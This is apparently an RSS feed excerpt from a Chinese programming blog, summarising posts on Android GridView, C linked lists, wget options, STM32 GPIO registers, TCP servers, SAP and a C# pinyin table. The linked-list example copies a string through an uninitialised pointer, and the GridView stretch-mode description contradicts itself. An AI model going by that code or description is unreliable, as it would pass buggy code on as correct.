      <description>1.GridView简介 GridView是ViewGroup子类，主要用于显示在一个二维可滚动的网格，比如九宫格。使用gridview和listview类似，都是使用ListAdapter来填充数据加载布局。 2.XML Attributes (1).android:columnWidth 主要用来指定每一列的宽度，使用该属性时应该注意和后面的拉伸模式相关联。如果拉伸模式为spacingWidth，则该属性必须指定；如果拉伸模式为columnWidth指定该属性无效。 (2).android:gravity 用于指定每个item的对其方式起始位置，当有多个是可以使用&#39;|&#39;隔开 (3).android:horizontalSpacing 用于指定每一列的之间的间距。注意：如果拉伸模式为spacingWidth，则该值设定无效 (4).android:numColumns 每一列的item数目 (5).android:verticalSpacing 用于指定每一行的之间的间距。 (6).android:stretchMode(***) 如果以列间距拉伸，则不需要指定列之间的间距；如果以列的等宽度拉伸，则不需要指定列的宽度。 常量 值 描述 none 0 拉伸被禁用，不可以被拉伸 spacingWidth 1 每一列之间的间距会被拉伸，因此使用该拉伸模式时，必须指定columnWidth，而指定horizontalSpacing就会无效，即不需要先考虑horizontalSpacing columnWidth 2 每一列是等宽度，只需要指定numColumns和horizontalSpacing，即先指定columnWidth就是无效的 spacingWidthUniform 3 每一列的间距均匀拉伸。拉伸被禁用，不可以被拉伸 3.GridView水平滚动 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private GridView gridView; private float density; private int listSize = 10 ; @Override protected void onCreate(Bundle savedInstanceState) { super .</description>
    </item>
    <item>
      <title>有关head-&gt;next = p;和p=head-&gt;next;之间的区别</title>
      <link>https://bchobby.github.io/posts/685dd35a37efc106048c4303ec3e3509/</link>
      <pubDate>Thu, 09 Jul 2015 12:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/685dd35a37efc106048c4303ec3e3509/</guid>
      <description>#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; typedef struct list { char *name; struct list *next; }List; int main(int argc, char *argv[]) { List *p = (List *)malloc(sizeof(List)); List *head = (List *)malloc(sizeof(List)); strcpy(p-&amp;gt;name, &#34;xiaoming&#34;); head-&amp;gt;next = p; printf(&#34;This is %s\n&#34;,p-&amp;gt;name); printf(&#34;This is %s\n&#34;,head-&amp;gt;next-&amp;gt;name); return 0; } head-&amp;gt;next = p;和p=head-&amp;gt;next;是不同的，当p = head-&amp;gt;next;时，我们可以认为是把p指针指向了head-&amp;gt;next，即是把head-&amp;gt;next 的值赋给p,而当head-&amp;gt;next = p时，就是head-&amp;gt;next 的指针指向了p指针，即是把p的值赋给head-&amp;gt;next。这一点是一开始接触链表的人最容易犯的错误。&#xA;看到这里，可能有读者还是不明白，那我就用图片来说明吧。&#xA;由上图我们分析可以知道，当p = head-&amp;gt;next 时，p是指向head-&amp;gt;next的，可以说与head的链表是没有“干扰作用”的；而当head-&amp;gt;next = p时就不同了，这就改变了原来链表指向的方向了。所以，一般来说，p = head-&amp;gt;next 用于显示链表，而head-&amp;gt;next = p；多用于插入节点。&#xA;如上函数，输出的p-&amp;gt;name和head-&amp;gt;next-&amp;gt;name应该是相等的，两者之间是赋值的关系。&#xA;（如有错误，请各位指正）</description>
    </item>
    <item>
      <title>Linux 下wget 的参数描述</title>
      <link>https://bchobby.github.io/posts/8af8e6bcea8d4a2184cf27107c1af77f/</link>
      <pubDate>Wed, 24 Jun 2015 22:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8af8e6bcea8d4a2184cf27107c1af77f/</guid>
      <description>wget -h GNU Wget 1.12，非交互式的网络文件下载工具。 用法： wget [选项]... [URL]... 长选项所必须的参数在使用短选项时也是必须的。 开始: -V, --version 显示 Wget 的版本信息并退出。 -h, --help 打印此帮助。 -b, --background 启动后转入后台。 -e, --execute=COMMAND 运行一个‘.wgetrc’风格的命令。 登入并输入文件: -o, --output-file=FILE 将信息写入 FILE。 -a, --append-output=FILE 将信息添加至 FILE。 -d, --debug 打印大量调试信息。 -q, --quiet 安静模式(无信息输出)。 -v, --verbose 详尽的输出(此为默认值)。 -nv, --no-verbose 关闭详尽输出，但不进入安静模式。 -i, --input-file=FILE 下载本地或外部 FILE 中的 URLs。 -F, --force-html 把输入文件当成 HTML 文件。 -B, --base=URL 解析与 URL 相关的 HTML 输入文件（由 -i -F 选项指定）。 下载: -t, --tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。 --retry-connrefused 即使拒绝连接也是重试。 -O, --output-document=FILE 将文档写入 FILE。 -nc, --no-clobber 不要重复下载已存在的文件。 -c, --continue 继续下载部分下载的文件。 --progress=TYPE 选择进度条类型。 -N, --timestamping 只获取比本地文件新的文件。 -S, --server-response 打印服务器响应。 --spider 不下载任何文件。 -T, --timeout=SECONDS 将所有超时设为 SECONDS 秒。 --dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。 --connect-timeout=SECS 设置连接超时为 SECS 秒。 --read-timeout=SECS 设置读取超时为 SECS 秒。 -w, --wait=SECONDS 等待间隔为 SECONDS 秒。 --waitretry=SECONDS 在取回文件的重试期间等待 1.</description>
    </item>
    <item>
      <title>解决：文档中根元素后面的标记必须格式正确</title>
      <link>https://bchobby.github.io/posts/f440a7869dfad3346f8d8e2f5943c435/</link>
      <pubDate>Wed, 24 Jun 2015 13:54:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f440a7869dfad3346f8d8e2f5943c435/</guid>
      <description>问题：org.zkoss.lang.SystemException: org.xml.sax.SAXParseException; systemId: file:/C:/Users/Administrator/Desktop/zs/workspace/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/wtpwebapps/ZKPetShop2/index.zul; lineNumber: 36; columnNumber: 2; 文档中根元素后面的标记必须格式正确。&#xA;解决：将&amp;lt;style&amp;gt;标签放到&amp;lt;window&amp;gt;标签里面</description>
    </item>
    <item>
      <title>怎么对高八位或低八位写值而不影响其它位，还有怎样单独读取高八位或低八位的值</title>
      <link>https://bchobby.github.io/posts/a708a2323586693c9fa795f19885d712/</link>
      <pubDate>Fri, 19 Jun 2015 17:07:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a708a2323586693c9fa795f19885d712/</guid>
      <description>((u8*)(&amp;amp;GPIOB-&amp;gt;ODR))[0] = 0xaa；写低八位 g_io_tempvalue = ((u8*)(&amp;amp;GPIOB-&amp;gt;ODR))[1];读高八位 ============================================= 写高八位 GPIOB-&amp;gt;CRH &amp;amp;= 0X00000000; GPIOB-&amp;gt;CRH |= 0X33333333; GPIOB-&amp;gt;ODR |= 0XFF00; 低八位也一样，做与或者或运算的时候就可以避免影响不想改变的位。 读高八位： u8 temp; temp = ((GPIOB-&amp;gt;IDR&amp;gt;&amp;gt;8)&amp;amp;0xff) 读低八位 temp = ((GPIOB-&amp;gt;IDR&amp;amp;0xff) ==== 使用BSRR和BRR寄存器直接操作STM32的I/O端口发布时间：2009-11-12 12:39:27技术类别：单片机 STM32的每个GPIO端口都有两个特别的寄存器，GPIOx_BSRR和GPIOx_BRR寄存器，通过这两个寄存器可以直接对对应的GPIOx端口置&#39;1&#39;或置&#39;0&#39;。&#xA;GPIOx_BSRR的高16位中每一位对应端口x的每个位，对高16位中的某位置&#39;1&#39;则端口x的对应位被清&#39;0&#39;；寄存器中的位置&#39;0&#39;，则对它对应的位不起作用。&#xA;GPIOx_BSRR的低16位中每一位也对应端口x的每个位，对低16位中的某位置&#39;1&#39;则它对应的端口位被置&#39;1&#39;；寄存器中的位置&#39;0&#39;，则对它对应的端口不起作用。&#xA;简单地说GPIOx_BSRR的高16位称作清除寄存器，而GPIOx_BSRR的低16位称作设置寄存器。另一个寄存器GPIOx_BRR只有低16位有效，与GPIOx_BSRR的高16位具有相同功能。&#xA;举个例子说明如何使用这两个寄存器和所体现的优势。例如GPIOE的16个IO都被设置成输出，而每次操作仅需要改变低8位的数据而保持高8位不变，假设新的8位数据在变量Newdata中，&#xA;这个要求可以通过操作这两个寄存器实现，STM32的固件库中有两个函数GPIO_SetBits()和GPIO_ResetBits()使用了这两个寄存器操作端口。&#xA;上述要求可以这样实现：&#xA;GPIO_SetBits(GPIOE, Newdata &amp;amp; 0xff); GPIO_ResetBits(GPIOE, (~Newdata &amp;amp; 0xff));&#xA;也可以直接操作这两个寄存器：&#xA;GPIOE-&amp;gt;BSRR = Newdata &amp;amp; 0xff; GPIOE-&amp;gt;BRR = ~Newdata &amp;amp; 0xff;&#xA;当然还可以一次完成对8位的操作：&#xA;GPIOE-&amp;gt;BSRR = (Newdata &amp;amp; 0xff) | (~Newdata &amp;amp; 0xff)&amp;lt;&amp;lt;16;&#xA;从最后这个操作可以看出使用BSRR寄存器，可以实现8个端口位的同时修改操作。&#xA;如果不是用BRR和BSRR寄存器，则上述要求就需要这样实现：</description>
    </item>
    <item>
      <title>python调用word报错，提示“服务器运行失败”，现已解决</title>
      <link>https://bchobby.github.io/posts/31598cf75ce567bd22cb8943ba314670/</link>
      <pubDate>Fri, 19 Jun 2015 16:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31598cf75ce567bd22cb8943ba314670/</guid>
      <description> 报错如下： msWord = win32com.client.Dispatch( &#34;Word.Application&#34; ) File &#34;C:\Python26\lib\site-packages\win32com\client\__init__.py&#34;, line 95, in Dispatch dispatch, userName = dynamic._GetGoodDispatchAndUserName(dispatch,userName,c lsctx) File &#34;C:\Python26\lib\site-packages\win32com\client\dynamic.py&#34;, line 108, in _GetGoodDispatchAndUserName return (_GetGoodDispatch(IDispatch, clsctx), userName) File &#34;C:\Python26\lib\site-packages\win32com\client\dynamic.py&#34;, line 85, in _ GetGoodDispatch IDispatch = pythoncom.CoCreateInstance(IDispatch, None, clsctx, pythoncom.II D_IDispatch) com_error: (-2146959355, &#39;\xb7\xfe\xce\xf1\xc6\xf7\xd4\xcb\xd0\xd0\xca\xa7\xb0\x dc&#39;, None, None) 解决办法：先把python程序和word进程都关掉。手动启动word，提示说上次启动不正常，进入安全模式启动。启动后，我发现左侧有很多恢复的word文档，这些文件没有什么实际意义了，就点击了关闭。第二次手工启动word就正常了。 感觉应该是手工正常启动一下word就能解决问题了，否则程序一直会报错。 </description>
    </item>
    <item>
      <title>Linux网络编程——tcp并发服务器（多进程）</title>
      <link>https://bchobby.github.io/posts/ee838bb1d864731cab496b72213999ba/</link>
      <pubDate>Mon, 15 Jun 2015 15:02:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee838bb1d864731cab496b72213999ba/</guid>
      <description>一、tcp并发服务器概述 一个好的服务器,一般都是并发服务器（同一时刻可以响应多个客户端的请求）。并发服务器设计技术一般有：多进程服务器、多线程服务器、I/O复用服务器等。&#xA;二、多进程并发服务器 在 Linux 环境下多进程的应用很多,其中最主要的就是网络/客户服务器。多进程服务器是当客户有请求时，服务器用一个子进程来处理客户请求。父进程继续等待其它客户的请求。这种方法的优点是当客户有请求时，服务器能及时处理客户，特别是在客户服务器交互系统中。对于一个 TCP 服务器,客户与服务器的连接可能并不马上关闭，可能会等到客户提交某些数据后再关闭，这段时间服务器端的进程会阻塞，所以这时操作系统可能调度其它客户服务进程，这比起循环服务器大大提高了服务性能。&#xA;发达&#xA;tcp多进程并发服务器 TCP 并发服务器的思想是每一个客户机的请求并不由服务器直接处理，而是由服务器创建一个子进程来处理。&#xA;tcp多进程并发服务器参考代码： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt;&#x9;#include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/socket.h&amp;gt; #include &amp;lt;netinet/in.h&amp;gt; #include &amp;lt;arpa/inet.h&amp;gt;&#x9;/************************************************************************ 函数名称：&#x9;void main(int argc, char *argv[]) 函数功能：&#x9;主函数，用进程建立一个TCP Echo Server 函数参数：&#x9;无 函数返回：&#x9;无 ************************************************************************/ int main(int argc, char *argv[]) { unsigned short port = 8080;&#x9;// 本地端口&#x9;//1.创建tcp套接字 int sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd &amp;lt; 0) { perror(&#34;socket&#34;); exit(-1); } //配置本地网络信息 struct sockaddr_in my_addr; bzero(&amp;amp;my_addr, sizeof(my_addr));&#x9;// 清空 my_addr.</description>
    </item>
    <item>
      <title>SAP 退货冲账过账成本更新</title>
      <link>https://bchobby.github.io/posts/e8befd0397892bfe65922359b97df104/</link>
      <pubDate>Thu, 11 Jun 2015 17:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8befd0397892bfe65922359b97df104/</guid>
      <description>正文部分 在SAP SD系统中，在某些集团公司中，如果要运用移动平均价，那么在退货的时候，财务往往要求，退货的成本必须是，以前发货的成本，但是标准的sap逻辑，是在退货的时候会取当前的移动平均价。&#xA;处理方案： 要求退货冲账要求必须复制以前单据，然后增强在过账的时候去找到以前单据的物料凭证中的价格，这种增强，退货回来一定要是E库存才能够增强修改，标准sap不是E库存的都已经锁死了，不准增强的。&#xA;具体实现：&#xA;当系统用移动平均价的时候，会发现退货冲账复制以前的标准订单的时候，成本还是会跟新为当前的移动平均价，这个时候如果要把先前订单中过期的移动平均价复制到冲账的订单中，就需要增强，在 冲账收货时找到以前单据的成本，然后用以前的成本过账，为防止影响当前移动平均价，可以先冲到E库存，然后再处理释放出来。&#xA;EXP_PREIS = rfwrtx.&#xA;EXP_PRFIX = rfwrtx.&#xA;EXP_PEINH = 1.&#xA;EXP_PREIS2 = rfwrtx.&#xA;EXP_PRFIX2 = rfwrtx.&#xA;EXP_PEINH2 = 1.&#xA;点击进入：SAP 退货冲账过账成本更新</description>
    </item>
    <item>
      <title>UVM：3.5.2 set 与 get 函数的参数</title>
      <link>https://bchobby.github.io/posts/150287e06c2038b536b0582a6e7cd2b2/</link>
      <pubDate>Thu, 11 Jun 2015 16:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/150287e06c2038b536b0582a6e7cd2b2/</guid>
      <description>1.写信&#xA;1）第一个和第二个参数联合起来组成目标路径，与此路径符合的目标才能收信。&#xA;2）第一个参数必须为uvm_component 的实例的指针。&#xA;3）第二个参数是相对于此实例的路径。&#xA;2.收信&#xA;1）第一个参数必须为uvm_component 的实例的指针。&#xA;2）第二个参数是相对于此实例的路径。如果第一个设置为 this，第二个可以是空的字符串。&#xA;3）第三个参数必须和set中的严格一样。&#xA;3.在top_tb 中，set virtual interface 的第一个参数是null。UVM会自动把它替换成uvm_root：：get（），即uvm_top。（uvm_root是全局的，get是静态的）&#xA;4.既然是第一个和第二个参数联合起来的，set 也可以是下面：&#xA;5 get也可以这样，比如driver的build_phase：</description>
    </item>
    <item>
      <title>[C#] 汉字转拼音，支持多音字</title>
      <link>https://bchobby.github.io/posts/74a85161515e542a6cc9adb54ddb6b77/</link>
      <pubDate>Thu, 04 Jun 2015 18:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a85161515e542a6cc9adb54ddb6b77/</guid>
      <description>这份代码大概不是严格意义上正确的，但是一般场景用用应该没问题。而且支持dotnet core&#xA;public static class Pinyin { #region 拼音对照表 private static string py = @&#34; 一 yi 丁 ding,zheng 七 qi 丄 shang 丅 xia 丆 万 mo,wan 丈 zhang 三 san 上 shang 下 xia 丌 qi 不 bu 与 yu 丏 mian 丐 gai 丑 chou 丒 chou 专 zhuan 且 ju,qie 丕 pi 世 shi 丗 shi 丘 qiu 丙 bing 业 ye 丛 cong 东 dong 丝 si 丞 cheng 丟 diu 丠 qiu 両 liang 丢 diu 丣 you 两 liang 严 yan 並 bing 丧 sang 丨 gun 丩 jiu 个 ge 丫 ya 丬 pan 中 zhong 丮 ji 丯 jie 丰 feng 丱 guan 串 guan,chuan 丳 chan 临 lin 丵 zhuo 丶 zhu 丷 ba 丸 wan 丹 dan 为 wei 主 zhu 丼 jing 丽 li 举 ju 丿 pie 乀 fu 乁 yi 乂 yi 乃 nai 乄 久 jiu 乆 jiu 乇 tuo 么 义 yi 乊 之 zhi 乌 wu 乍 zha 乎 hu 乏 fa 乐 yue,le 乑 yin 乒 ping 乓 pang 乔 qiao 乕 hu 乖 guai 乗 cheng 乘 cheng,sheng 乙 yi 乚 hao 乛 乜 mie,nie 九 jiu 乞 qi 也 ye 习 xi 乡 xiang 乢 gai 乣 jiu 乤 乥 书 shu 乧 乨 shi 乩 ji 乪 nang 乫 乬 乭 乮 乯 买 mai 乱 luan 乲 乳 ru 乴 xue 乵 yan 乶 乷 乸 na 乹 qian 乺 乻 er 乼 乽 乾 qian 乿 zhi 亀 gui 亁 qian 亂 luan 亃 lin 亄 yi 亅 jue 了 liao 亇 ma 予 yu 争 zheng 亊 shi 事 shi 二 er 亍 chu 于 yu 亏 kui 亐 yu 云 yun 互 hu 亓 qi 五 wu 井 jing 亖 si 亗 sui 亘 gen 亙 gen 亚 ya 些 xie 亜 ya 亝 qi 亞 ya 亟 ji,qi 亠 tou 亡 wang,wu 亢 kang 亣 da 交 jiao 亥 hai 亦 yi 产 chan 亨 heng 亩 mu 亪 享 xiang 京 jing 亭 ting 亮 liang 亯 xiang 亰 jing 亱 ye 亲 qin,qing 亳 bo 亴 you 亵 xie 亶 dan 亷 lian 亸 duo 亹 men,wei 人 ren 亻 ren 亼 ji 亽 ji 亾 wang 亿 yi 什 shen,shi 仁 ren 仂 le 仃 ding 仄 ze 仅 jin 仆 pu 仇 chou,qiu 仈 ba 仉 zhang 今 jin 介 jie 仌 bing 仍 reng 从 cong 仏 fo 仐 jin 仑 lun 仒 仓 cang 仔 zi,zai 仕 shi 他 ta 仗 zhang 付 fu 仙 xian 仚 xian 仛 tuo 仜 hong 仝 tong 仞 ren 仟 qian 仠 gan 仡 ge,yi 仢 bo 代 dai 令 ling 以 yi 仦 chao 仧 chang 仨 sa 仩 chang 仪 yi 仫 mu 们 men 仭 ren 仮 fan 仯 chao 仰 ang,yang 仱 qian 仲 zhong 仳 pi 仴 wo 仵 wu 件 jian 价 jia,jie 仸 yao 仹 feng 仺 cang 任 ren 仼 wang 份 fen 仾 di 仿 fang,pang 伀 zhong 企 qi 伂 pei 伃 yu 伄 diao 伅 dun 伆 wen 伇 yi 伈 xin 伉 kang 伊 yi 伋 ji 伌 ai 伍 wu 伎 ji 伏 fu 伐 fa 休 xiu 伒 jin 伓 pi 伔 dan 伕 fu 伖 tang 众 zhong 优 you 伙 huo 会 hui,kuai 伛 yu 伜 cui 伝 yun 伞 san 伟 wei 传 chuan,zhuan 伡 che 伢 ya 伣 qian 伤 shang 伥 chang 伦 lun 伧 cang 伨 xun 伩 xin 伪 wei 伫 zhu 伬 chi 伭 xian 伮 nu 伯 bo,bai,ba 估 gu 伱 ni 伲 ni 伳 xie 伴 pan,ban 伵 xu 伶 ling 伷 zhou 伸 shen 伹 qu 伺 si,ci 伻 beng 似 shi,si 伽 ga,jia,qie 伾 pi 伿 zhi 佀 si 佁 ai,yi 佂 zheng 佃 dian,tian 佄 han 佅 mai 但 dan 佇 zhu 佈 bu 佉 qu 佊 bi 佋 zhao 佌 ci 位 wei 低 di 住 zhu 佐 zuo 佑 you 佒 yang 体 ti 佔 zhan 何 he 佖 bi 佗 tuo 佘 she 余 yu 佚 yi 佛 fo,fu 作 zuo 佝 gou 佞 ning 佟 tong 你 ni 佡 xian 佢 qu 佣 yong 佤 wa 佥 qian 佦 佧 ka 佨 佩 pei 佪 hui 佫 he 佬 lao 佭 xiang 佮 ge 佯 yang 佰 bai 佱 fa 佲 ming 佳 jia 佴 er,nai 併 bing 佶 ji 佷 hen 佸 huo 佹 gui 佺 quan 佻 tiao 佼 jiao 佽 ci 佾 yi 使 shi 侀 xing 侁 shen 侂 tuo 侃 kan 侄 zhi 侅 gai 來 lai 侇 yi 侈 chi 侉 kua 侊 gong 例 li 侌 yin 侍 shi 侎 mi 侏 zhu 侐 xu 侑 you 侒 an 侓 lu 侔 mou 侕 er 侖 lun 侗 tong,dong 侘 cha 侙 chi 侚 xun 供 gong 侜 zhou 依 yi 侞 ru 侟 cun 侠 xia 価 si 侢 dai 侣 l 侥 jiao,yao 侦 zhen 侧 ce,ze,zhai 侨 qiao 侩 kuai 侪 chai 侫 ning 侬 nong 侭 jin 侮 wu 侯 hou 侰 jiong 侱 cheng 侲 zhen 侳 zuo 侴 hao 侵 qin 侶 l 侷 ju 侸 shu 侹 ting 侺 shen 侻 tui,tuo 侼 bo 侽 nan 侾 xiao 便 bian,pian 俀 tui 俁 yu 係 xi 促 cu 俄 e 俅 qiu 俆 xu 俇 guang 俈 ku 俉 wu 俊 jun 俋 yi 俌 fu 俍 liang 俎 zu 俏 qiao 俐 li 俑 yong 俒 hun 俓 jing 俔 qian 俕 san 俖 pei 俗 su 俘 fu 俙 xi 俚 li 俛 fu,mian 俜 ping 保 bao 俞 yu 俟 qi,si 俠 xia 信 xin 俢 xiu 俣 yu 俤 di 俥 che 俦 chou 俧 俨 yan 俩 liang,lia 俪 li 俫 lai 俬 si 俭 jian 修 xiu 俯 fu 俰 huo 俱 ju 俲 xiao 俳 pai 俴 jian 俵 biao 俶 chu,ti 俷 fei 俸 feng 俹 ya 俺 an 俻 bei 俼 yu 俽 xin 俾 bi 俿 hu 倀 chang 倁 zhi 倂 bing 倃 jiu 倄 yao 倅 cui 倆 liang 倇 wan 倈 lai 倉 cang 倊 zong 個 ge 倌 guan 倍 bei 倎 tian 倏 shu 倐 shu 們 men 倒 dao 倓 tan 倔 jue 倕 chui 倖 xing 倗 peng 倘 chang,tang 候 hou 倚 yi 倛 qi 倜 ti 倝 gan 倞 jing,liang 借 jie 倠 sui 倡 chang 倢 jie 倣 fang 値 zhi 倥 kong 倦 juan 倧 zong 倨 ju 倩 qian,qing 倪 ni 倫 lun 倬 zhuo 倭 wo 倮 luo 倯 song 倰 leng 倱 hun 倲 dong 倳 zi 倴 ben 倵 wu 倶 ju 倷 nai 倸 cai 倹 jian 债 zhai 倻 ye 值 zhi 倽 sha 倾 qing 倿 ning 偀 ying 偁 cheng 偂 qian 偃 yan 偄 ruan 偅 zhong 偆 chun 假 xia,jia 偈 ji,jie 偉 wei 偊 yu 偋 bing 偌 ruo 偍 ti 偎 wei 偏 pian 偐 yan 偑 feng 偒 tang 偓 wo 偔 e 偕 xie 偖 che 偗 sheng 偘 kan 偙 di 做 zuo 偛 cha 停 ting 偝 bei 偞 xie 偟 huang 偠 yao 偡 zhan 偢 chou 偣 an 偤 you 健 jian 偦 xu 偧 zha 偨 ci 偩 fu 偪 bi 偫 zhi 偬 zong 偭 mian 偮 ji 偯 yi 偰 xie 偱 xun 偲 cai,si 偳 duan 側 ce 偵 zhen 偶 ou 偷 tou 偸 tou 偹 bei 偺 zan 偻 lou,l 偼 jie 偽 wei 偾 fen 偿 chang 傀 kui 傁 sou 傂 zhi 傃 su 傄 xia 傅 fu 傆 yuan 傇 rong 傈 li 傉 nu 傊 yun 傋 jiang 傌 ma 傍 bang 傎 dian 傏 tang 傐 hao 傑 jie 傒 xi 傓 shan 傔 qian 傕 jue 傖 cang 傗 chu 傘 san 備 bei 傚 xiao 傛 rong 傜 yao 傝 ta 傞 suo 傟 yang 傠 fa 傡 bing 傢 jia 傣 dai 傤 zai 傥 tang 傦 傧 bin 储 chu 傩 nuo 傪 can 傫 lei 催 cui 傭 yong 傮 zao 傯 zong 傰 peng 傱 song 傲 ao 傳 chuan 傴 yu 債 zhai 傶 qi 傷 shang 傸 chuang 傹 jing 傺 chi 傻 sha 傼 han 傾 qing 傿 yan 僀 di 僁 xie 僂 l 僃 bei 僄 piao 僅 jin 僆 lian 僇 lu 僈 man 僉 qian 僊 xian 僋 tan 僌 ying 働 dong 僎 zhuan 像 xiang 僐 shan 僑 qiao 僒 jiong 僓 tui 僔 zun 僕 pu 僖 xi 僗 lao 僘 chang 僙 guang 僚 liao 僛 qi 僜 deng 僝 chan 僞 wei 僟 ji 僠 bo 僡 hui 僢 chuan 僣 tie 僤 dan 僥 jiao 僦 jiu 僧 seng 僨 fen 僩 xian 僪 yu 僫 e 僬 jiao 僭 jian 僮 tong,zhuang 僯 lin 僰 bo 僱 gu 僲 xian 僳 su 僴 xian 僵 jiang 僶 min 僷 ye 僸 jin 價 jia 僺 qiao 僻 pi 僼 feng 僽 zhou 僾 ai 僿 sai 儀 yi 儁 jun 儂 nong 儃 chan 億 yi 儅 dang 儆 jing 儇 xuan 儈 kuai 儉 jian 儊 chu 儋 dan 儌 jiao 儍 sha 儎 zai 儏 儐 bin 儑 an 儒 ru 儓 tai 儔 chou 儕 chai 儖 lan 儗 ni 儘 jin 儙 qian 儚 meng 儛 wu 儜 ning 儝 qiong 儞 ni 償 chang 儠 lie 儡 lei 儢 l 儣 kuang 儤 bao 儥 yu 儦 biao 儧 zan 儨 zhi 儩 si 優 you 儫 hao 儬 qing 儭 chen 儮 li 儯 teng 儰 wei 儱 long 儲 chu 儳 chan 儴 rang 儵 shu 儶 hui 儷 li 儸 luo 儹 zan 儺 nuo 儻 tang 儼 yan 儽 lei 儾 nang 儿 er 兀 wu 允 yun 兂 zan 元 yuan 兄 xiong 充 chong 兆 zhao 兇 xiong 先 xian 光 guang 兊 dui 克 ke 兌 dui 免 mian,wen 兎 tu 兏 chang 児 er 兑 dui 兒 ni 兓 兔 tu 兕 si 兖 yan 兗 yan 兘 shi 兙 党 dang 兛 兜 dou 兝 兞 兟 shen 兠 dou 兡 兢 jing 兣 兤 huang 入 ru 兦 wang 內 nei 全 quan 兩 liang 兪 yu 八 ba 公 gong 六 lu,liu 兮 xi 兯 兰 lan 共 gong 兲 tian 关 guan 兴 xing 兵 bing 其 ji,qi 具 ju 典 dian 兹 ci,zi 兺 bun 养 yang 兼 jian 兽 shou 兾 ji 兿 yi 冀 ji 冁 chan 冂 jiong 冃 mao 冄 ran 内 na,nei 円 yuan 冇 mao 冈 gang 冉 ran 冊 ce 冋 jiong 册 ce 再 zai 冎 gua 冏 jiong 冐 mao 冑 zhou 冒 mao,mo 冓 gou 冔 xu 冕 mian 冖 mi 冗 rong 冘 yin 写 xie 冚 kan 军 jun 农 nong 冝 yi 冞 shen 冟 shi 冠 guan 冡 meng 冢 zhong 冣 zui 冤 yuan 冥 ming 冦 kou 冧 lin 冨 fu 冩 xie 冪 mi 冫 bing 冬 dong 冭 tai 冮 gang 冯 feng,ping 冰 bing 冱 hu 冲 chong 决 jue 冴 ya 况 kuang 冶 ye 冷 leng 冸 pan 冹 fa 冺 min 冻 dong 冼 xian 冽 lie 冾 qia 冿 jian 净 jing 凁 sou 凂 mei 凃 tu 凄 qi 凅 gu 准 zhun 凇 song 凈 jing 凉 liang 凊 qing 凋 diao 凌 ling 凍 dong 凎 gan 减 jian 凐 yin 凑 cou 凒 ai 凓 li 凔 cang 凕 ming 凖 zhun 凗 cui 凙 duo 凚 jin 凛 lin 凜 lin 凝 ning 凞 xi 凟 du 几 ji 凡 fan 凢 fan 凣 fan 凤 feng 凥 ju 処 chu 凧 凨 feng 凩 凪 凫 fu 凬 feng 凭 ping 凮 feng 凯 kai 凰 huang 凱 kai 凲 gan 凳 deng 凴 ping 凵 kan 凶 xiong 凷 kuai 凸 tu 凹 ao 出 chu 击 ji 凼 dang 函 han 凾 han 凿 zao 刀 dao 刁 diao 刂 dao 刃 ren 刄 ren 刅 chuang 分 fen 切 qie 刈 yi 刉 ji 刊 kan 刋 qian 刌 cun 刍 chu 刎 wen 刏 ji 刐 dan 刑 xing 划 hua 刓 wan 刔 jue 刕 li 刖 yue 列 lie 刘 liu 则 ze 刚 gang 创 chuang 刜 fu 初 chu 刞 qu 刟 diao 删 shan 刡 min 刢 ling 刣 zhong 判 pan 別 bie 刦 jie 刧 jie 刨 bao,pao 利 li 刪 shan 别 bie 刬 chan 刭 jing 刮 gua 刯 geng 到 dao 刱 chuang 刲 kui 刳 ku 刴 duo 刵 er 制 zhi 刷 shua 券 xuan,quan 刹 cha,sha 刺 ci 刻 ke 刼 jie 刽 gui 刾 ci 刿 gui 剀 kai 剁 duo 剂 ji 剃 ti 剄 jing 剅 dou 剆 luo 則 ze 剈 yuan 剉 cuo 削 xiao,xue 剋 kei 剌 la 前 qian 剎 cha 剏 chuang 剐 gua 剑 jian 剒 cuo 剓 li 剔 ti 剕 fei 剖 pou 剗 chan 剘 qi 剙 chuang 剚 zi 剛 gang 剜 wan 剝 bao 剞 ji 剟 duo 剠 qing 剡 shan,yan 剢 du 剣 jian 剤 ji 剥 bao,bo 剦 剧 ju 剨 huo 剩 sheng 剪 jian 剫 duo 剬 zhi 剭 wu 剮 gua 副 fu 剰 sheng 剱 jian 割 ge 剳 da 剴 kai 創 chuang 剶 chuan 剷 chan 剸 tuan 剹 lu 剺 li 剻 peng 剼 shan 剽 piao 剾 kou 剿 chao,jiao 劀 gua 劁 qiao 劂 jue 劃 hua 劄 zha 劅 zhuo 劆 lian 劇 ju 劈 pi 劉 liu 劊 gui 劋 jiao 劌 gui 劍 jian 劎 jian 劏 tang 劐 huo 劑 ji 劒 jian 劓 yi 劔 jian 劕 zhi 劖 chan 劗 zuan 劘 mo 劙 li 劚 zhu 力 li 劜 ya 劝 quan 办 ban 功 gong 加 jia 务 wu 劢 mai 劣 lie 劤 jin 劥 keng 劦 xie 劧 zhi 动 dong 助 chu,zhu 努 nu 劫 jie 劬 qu 劭 shao 劮 yi 劯 zhu 劰 miao 励 li 劲 jing,jin 劳 lao 労 lao 劵 juan 劶 kou 劷 yang 劸 wa 効 xiao 劺 mou 劻 kuang 劼 jie 劽 lie 劾 he 势 shi 勀 ke 勁 jin 勂 gao 勃 bo 勄 min 勅 chi 勆 lang 勇 yong 勈 yong 勉 mian 勊 ke 勋 xun 勌 juan 勍 qing 勎 lu 勏 bu 勐 meng 勑 chi 勒 le,lei 勓 kai 勔 mian 動 dong 勖 xu 勗 xu 勘 kan 務 